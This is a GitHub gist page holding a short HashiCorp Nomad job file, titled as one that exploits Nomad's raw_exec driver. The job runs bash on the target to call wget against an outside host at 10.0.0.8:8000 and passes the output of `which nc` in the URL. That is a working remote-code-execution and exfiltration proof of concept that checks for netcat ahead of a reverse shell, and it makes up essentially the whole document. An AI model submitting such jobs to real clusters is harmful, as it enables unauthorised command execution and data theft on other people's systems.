Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Created December 18, 2018 16:22
Show Gist options
  • Save carnal0wnage/25b391126dadefe0a9523fb421bf8f33 to your computer and use it in GitHub Desktop.
Save carnal0wnage/25b391126dadefe0a9523fb421bf8f33 to your computer and use it in GitHub Desktop.
hcl file that exploits nomad raw_exec
job "sploit_service" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "wget http://10.0.0.8:8000/?foo=`which nc`"]
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment